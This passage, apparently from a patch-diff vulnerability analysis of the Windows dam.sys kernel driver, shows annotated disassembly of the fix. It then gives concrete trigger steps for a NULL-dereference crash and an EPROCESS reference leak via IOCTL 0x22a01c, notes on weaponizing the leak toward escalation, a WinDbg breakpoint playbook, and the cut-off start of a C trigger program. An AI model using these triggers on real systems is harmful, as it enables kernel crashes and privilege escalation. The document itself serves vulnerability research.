&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a597:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; Process = NULL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5a6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; InputBufferLength&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5a9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A5B5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5ab:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5b0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A6CB&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5b5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; PID from input buffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5b7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;Process output&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a5bb:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_PsLookupProcessByProcessId&lt;/span&gt;

&lt;span class="c1"&gt;; ---- Allocation WITH NULL CHECK ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a643:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a646:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; PagedPool&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a64b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;B6D6144h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; tag &amp;#39;DamK&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a651:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a65d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a660:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** ADDED ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a663:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A66C&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; proceed only if non-NULL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a665:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000017h&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_NO_MEMORY&lt;/span&gt;

&lt;span class="c1"&gt;; ---- Unified, guarded cleanup @ loc_1C000A6CB ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6cb:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;UnicodeString.Buffer&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; freed only if buffer != NULL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6cf:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A6E1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6d1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;UnicodeString&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6d5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_RtlFreeUnicodeString&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6e1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; Process&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6e5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; NULL guard&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6e8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A6F6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6ea:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ObfDereferenceObject&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; *** FIX: release ref ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6f6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; P != NULL ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6f9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C000A892&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6ff:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;B6D6144h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; tag &amp;#39;DamK&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a704:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; P&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a707:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; *** guarded free ***&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding #2 — NULL Pointer Dereference (DoS)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a writable handle to the DAM device: &lt;code&gt;CreateFileW("\\\\.\\DamCtrl", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL)&lt;/code&gt;. On production builds the ACL may require the caller to be elevated/SYSTEM; if access is denied, run the PoC in an elevated context.&lt;/li&gt;
&lt;li&gt;Build the 8-byte input buffer: &lt;code&gt;DWORD pid = &amp;lt;any valid PID&amp;gt;; BYTE in[8] = {0}; *(DWORD*)in = pid;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Induce paged-pool pressure so the next &lt;code&gt;ExAllocatePoolWithTag(PagedPool, ...)&lt;/code&gt; returns NULL — e.g., spray large paged allocations from an elevated process, or (in a debugger) simply overwrite &lt;code&gt;rax&lt;/code&gt; with 0 at &lt;code&gt;0x1c000a6c9&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Issue the IOCTL: &lt;code&gt;DeviceIoControl(h, 0x22a01c, in, 8, NULL, 0, &amp;amp;returned, NULL);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The kernel executes &lt;code&gt;PsQueryProcessCommandLine(v24, NULL, len, 0, &amp;amp;len)&lt;/code&gt; and faults writing to address &lt;code&gt;0x0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; Bug check &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (or &lt;code&gt;0x7E&lt;/code&gt;) with faulting address near &lt;code&gt;0x0&lt;/code&gt;. Call stack: &lt;code&gt;DampIoDispatch → PsQueryProcessCommandLine&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding #1 — EPROCESS Reference Leak&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Same device-handle acquisition as above.&lt;/li&gt;
&lt;li&gt;Same 8-byte input buffer (PID is the only field that matters).&lt;/li&gt;
&lt;li&gt;Repeat &lt;code&gt;DeviceIoControl(h, 0x22a01c, &amp;amp;pid, 8, NULL, 0, &amp;amp;returned, NULL);&lt;/code&gt; in a tight loop (e.g., 10 000 iterations) against the same or different PIDs. Each successful call increments the target EPROCESS &lt;code&gt;PointerCount&lt;/code&gt; by exactly 1 with no corresponding decrement.&lt;/li&gt;
&lt;li&gt;No race condition or timing constraint; the leak is deterministic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; No crash. Inspect with &lt;code&gt;!process &amp;lt;PID&amp;gt; 7&lt;/code&gt; — the &lt;code&gt;PointerCount&lt;/code&gt; grows linearly with the number of IOCTL calls and never decreases. After the target exits, the EPROCESS remains in pool indefinitely. Pool usage for &lt;code&gt;DamK&lt;/code&gt;-adjacent allocations accumulates.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; is &lt;strong&gt;not&lt;/strong&gt; gated behind &lt;code&gt;DampTestSigningOn&lt;/code&gt; (unlike IOCTLs &lt;code&gt;0x226004&lt;/code&gt; and &lt;code&gt;0x22a008&lt;/code&gt;). Reachability is therefore determined solely by the device's security descriptor.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive #1 — Kernel NULL-Pointer Dereference (DoS)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Direct, reliable denial of service. The bug check is unrecoverable.&lt;/li&gt;
&lt;li&gt;Requires the attacker to drive paged pool to exhaustion (or to fault-inject in a debugger). On systems with large paged pools and aggressive quota, this can still be achievable from a constrained user account through allocation churn.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Primitive #2 — EPROCESS Reference Leak&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Resource exhaustion:&lt;/strong&gt; Linear accumulation of leaked EPROCESS references; eventually pool pressure / quota denial.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Object-lifetime corruption:&lt;/strong&gt; The leaked reference keeps the EPROCESS alive past process exit. This becomes a stale-reference primitive — a building block for a UAF escalation chain if a second bug allows reclaiming the pool underneath the still-referenced object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Info-leak surface:&lt;/strong&gt; Combined with any leak primitive, the persistent EPROCESS could be used to read process metadata (token, SID, image name) for forensic evasion.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Additional steps to weaponize&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For DoS-only: nothing further required.&lt;/li&gt;
&lt;li&gt;For escalation: combine the leaked-reference EPROCESS with a separate pool-reclaim bug to convert the stale reference into a UAF, then perform token-stealing or page-table manipulation. This requires an info leak to defeat KASLR.&lt;/li&gt;
&lt;li&gt;The reference leak alone does not bypass SMEP/SMAP/HVCI; it is a state-corruption primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Relevant mitigations&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;KASLR&lt;/td&gt;
&lt;td&gt;Does not affect DoS or leak primitives. Required bypass for any follow-on UAF escalation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMEP / SMAP&lt;/td&gt;
&lt;td&gt;Not directly relevant to either primitive; relevant only if R/W primitives are later converted to code execution.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HVCI / Kernel CFG&lt;/td&gt;
&lt;td&gt;Would constrain any code-execution follow-on; the two primitives here are unaffected.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paged-pool quota&lt;/td&gt;
&lt;td&gt;May make the NULL-deref path harder to reach without elevation, but does not prevent the reference leak.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;The following assumes WinDbg/KD attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;dam.sys&lt;/code&gt;. All addresses are file-relative to the analysis (&lt;code&gt;base 0x1c000000&lt;/code&gt;); adjust for the actual loaded base with &lt;code&gt;!dam_unpatched&lt;/code&gt; / &lt;code&gt;lm m dam_unpatched&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp dam_unpatched!DampIoDispatch                       ; 0x1c000a3d0 — dispatcher entry
bp dam_unpatched!DampIoDispatch+0x206                 ; 0x1c000a5d6 — ZwOpenProcess call
bp dam_unpatched!DampIoDispatch+0x246                 ; 0x1c000a616 — ObReferenceObjectByHandleWithTag call
bp dam_unpatched!DampIoDispatch+0x2e2                 ; 0x1c000a6b2 — ExAllocatePoolWithTag call
bp dam_unpatched!DampIoDispatch+0x308                 ; 0x1c000a6d8 — PsQueryProcessCommandLine (NULL-deref sink)
bp dam_unpatched!DampIoDispatch+0x25c                 ; 0x1c000a62c — ZwClose (verify missing ObDereferenceObject)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;DampIoDispatch&lt;/code&gt; entry:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8d&lt;/code&gt; — IoControlCode; confirm &lt;code&gt;0x22a01c&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ecx&lt;/code&gt; — InputBufferLength; must be &lt;code&gt;8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt; — &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt;; first DWORD is attacker PID.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt; — &lt;code&gt;IoStackLocation&lt;/code&gt; pointer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r14&lt;/code&gt; — IRP pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000a5d6&lt;/code&gt; (ZwOpenProcess):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx = &amp;amp;Handle&lt;/code&gt;, &lt;code&gt;edx = 0x1FFFFF&lt;/code&gt; (PROCESS_ALL_ACCESS), &lt;code&gt;r8 = &amp;amp;ObjectAttributes&lt;/code&gt;, &lt;code&gt;r9 = &amp;amp;ClientId&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dps r9 L2&lt;/code&gt; — observe the attacker-supplied PID.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000a616&lt;/code&gt; (ObReferenceObjectByHandleWithTag):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;On return, &lt;code&gt;dq rbp+0x77 L1&lt;/code&gt; — the frame slot receiving the &lt;code&gt;PEPROCESS&lt;/code&gt; output. Remember this pointer; it is never dereferenced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000a6b2&lt;/code&gt; (ExAllocatePoolWithTag):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Before the call: &lt;code&gt;ecx = 1 (PagedPool)&lt;/code&gt;, &lt;code&gt;edx = length&lt;/code&gt;, &lt;code&gt;r8d = 0x4b6d6144 ('DamK')&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;After return:&lt;/strong&gt; inspect &lt;code&gt;rax&lt;/code&gt;. If &lt;code&gt;rax == 0&lt;/code&gt;, the bug will fire on the next call. To &lt;strong&gt;force&lt;/strong&gt; the bug without exhausting pool, run &lt;code&gt;r rax=0&lt;/code&gt; here, then &lt;code&gt;g&lt;/code&gt; — the next instruction will pass NULL into &lt;code&gt;PsQueryProcessCommandLine&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000a6d8&lt;/code&gt; (PsQueryProcessCommandLine sink):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; — buffer pointer; if &lt;code&gt;rdx == 0&lt;/code&gt;, the bug is firing. Expect immediate &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000a62c&lt;/code&gt; (ZwClose):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Confirm the next instruction sequence does &lt;strong&gt;not&lt;/strong&gt; call &lt;code&gt;ObfDereferenceObject&lt;/code&gt;. The control flow jumps straight to epilogue at &lt;code&gt;0x1c000a8c2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger setup (user mode)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
